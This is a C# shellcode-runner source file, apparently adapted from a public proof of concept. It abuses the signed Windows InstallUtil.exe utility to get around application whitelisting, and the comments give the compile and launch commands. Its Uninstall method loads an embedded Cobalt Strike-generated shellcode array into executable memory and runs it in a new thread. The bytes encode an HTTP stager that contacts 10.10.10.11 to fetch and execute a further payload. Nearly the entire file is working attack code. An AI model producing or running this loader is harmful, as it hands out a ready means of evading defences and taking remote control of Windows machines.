installutil - shellcode runner

// Almost entirely adopted from Casey Smith's POC -- reference link here https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260
// First compile like this:
// .\csc.exe /unsafe /platform:x86 /out:lol.exe .\goodpayload.cs
// Then run exe like this:
// .\InstallUtil.exe /logfile= /LogToConsole=false /U .\lol.exe


using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

 

	public class Program
	{
		public static void Main()
		{
			Console.WriteLine("Blah");
			
		}
		
	}
	
	[System.ComponentModel.RunInstaller(true)]
	public class Sample : System.Configuration.Install.Installer
	{
	    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	    public override void Uninstall(System.Collections.IDictionary savedState)
	    {
		
		Shellcode.Exec();
	    	
	    }
	    
	}
	
	public class Shellcode
	{
			public static void Exec()
			{
				// CS shellcode generated via Attacks > Packages > Payload Generator > C#
        			byte[] shellcode = new byte[796] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x50, 0x00, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x2e, 0x67, 0x69, 0x66, 0x00, 0x35, 0x4f, 0x21, 0x50, 0x25, 0x40, 0x41, 0x50, 0x5b, 0x34, 0x5c, 0x50, 0x5a, 0x58, 0x35, 0x34, 0x28, 0x50, 0x5e, 0x29, 0x37, 0x43, 0x43, 0x29, 0x37, 0x7d, 0x24, 0x45, 0x49, 0x43, 0x41, 0x52, 0x2d, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x2d, 0x41, 0x4e, 0x54, 0x49, 0x56, 0x49, 0x52, 0x55, 0x53, 0x2d, 0x54, 0x45, 0x53, 0x54, 0x2d, 0x46, 0x49, 0x4c, 0x45, 0x21, 0x24, 0x48, 0x2b, 0x48, 0x2a, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x35, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x34, 0x2e, 0x30, 0x3b, 0x20, 0x2e, 0x4e, 0x45, 0x54, 0x20, 0x43, 0x4c, 0x52, 0x20, 0x31, 0x2e, 0x31, 0x2e, 0x34, 0x33, 0x32, 0x32, 0x29, 0x0d, 0x0a, 0x00, 0x35, 0x4f, 0x21, 0x50, 0x25, 0x40, 0x41, 0x50, 0x5b, 0x34, 0x5c, 0x50, 0x5a, 0x58, 0x35, 0x34, 0x28, 0x50, 0x5e, 0x29, 0x37, 0x43, 0x43, 0x29, 0x37, 0x7d, 0x24, 0x45, 0x49, 0x43, 0x41, 0x52, 0x2d, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x2d, 0x41, 0x4e, 0x54, 0x49, 0x56, 0x49, 0x52, 0x55, 0x53, 0x2d, 0x54, 0x45, 0x53, 0x54, 0x2d, 0x46, 0x49, 0x4c, 0x45, 0x21, 0x24, 0x48, 0x2b, 0x48, 0x2a, 0x00, 0x35, 0x4f, 0x21, 0x50, 0x25, 0x40, 0x41, 0x50, 0x5b, 0x34, 0x5c, 0x50, 0x5a, 0x58, 0x35, 0x34, 0x28, 0x50, 0x5e, 0x29, 0x37, 0x43, 0x43, 0x29, 0x37, 0x7d, 0x24, 0x45, 0x49, 0x43, 0x41, 0x52, 0x2d, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x2d, 0x41, 0x4e, 0x54, 0x49, 0x56, 0x49, 0x52, 0x55, 0x53, 0x2d, 0x54, 0x45, 0x53, 0x54, 0x2d, 0x46, 0x49, 0x4c, 0x45, 0x21, 0x24, 0x48, 0x2b, 0x48, 0x2a, 0x00, 0x35, 0x4f, 0x21, 0x50, 0x25, 0x40, 0x41, 0x50, 0x5b, 0x34, 0x5c, 0x50, 0x5a, 0x58, 0x35, 0x34, 0x28, 0x50, 0x5e, 0x29, 0x37, 0x43, 0x43, 0x29, 0x37, 0x7d, 0x24, 0x45, 0x49, 0x43, 0x41, 0x52, 0x2d, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x2d, 0x41, 0x4e, 0x54, 0x49, 0x56, 0x49, 0x52, 0x55, 0x53, 0x2d, 0x54, 0x45, 0x53, 0x54, 0x2d, 0x46, 0x49, 0x4c, 0x45, 0x21, 0x24, 0x48, 0x2b, 0x48, 0x2a, 0x00, 0x35, 0x4f, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x28, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x30, 0x2e, 0x31, 0x30, 0x2e, 0x31, 0x30, 0x2e, 0x31, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00 };

	 
				UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length);
				IntPtr hThread = IntPtr.Zero;
				UInt32 threadId = 0;
				// prepare data
	 
	 
				IntPtr pinfo = IntPtr.Zero;
	 
				// execute native code
	 
				hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
				WaitForSingleObject(hThread, 0xFFFFFFFF);
	 
		  }
	 
			private static UInt32 MEM_COMMIT = 0x1000;
	 
			private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
	
			[DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
 
        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);
 
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
 
          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId
 
          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);
 
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
 
          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(
 
          string moduleName
 
          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(
 
          IntPtr hModule,
          string procName
 
          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(
 
          string lpFileName
 
          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();
			
	 
		}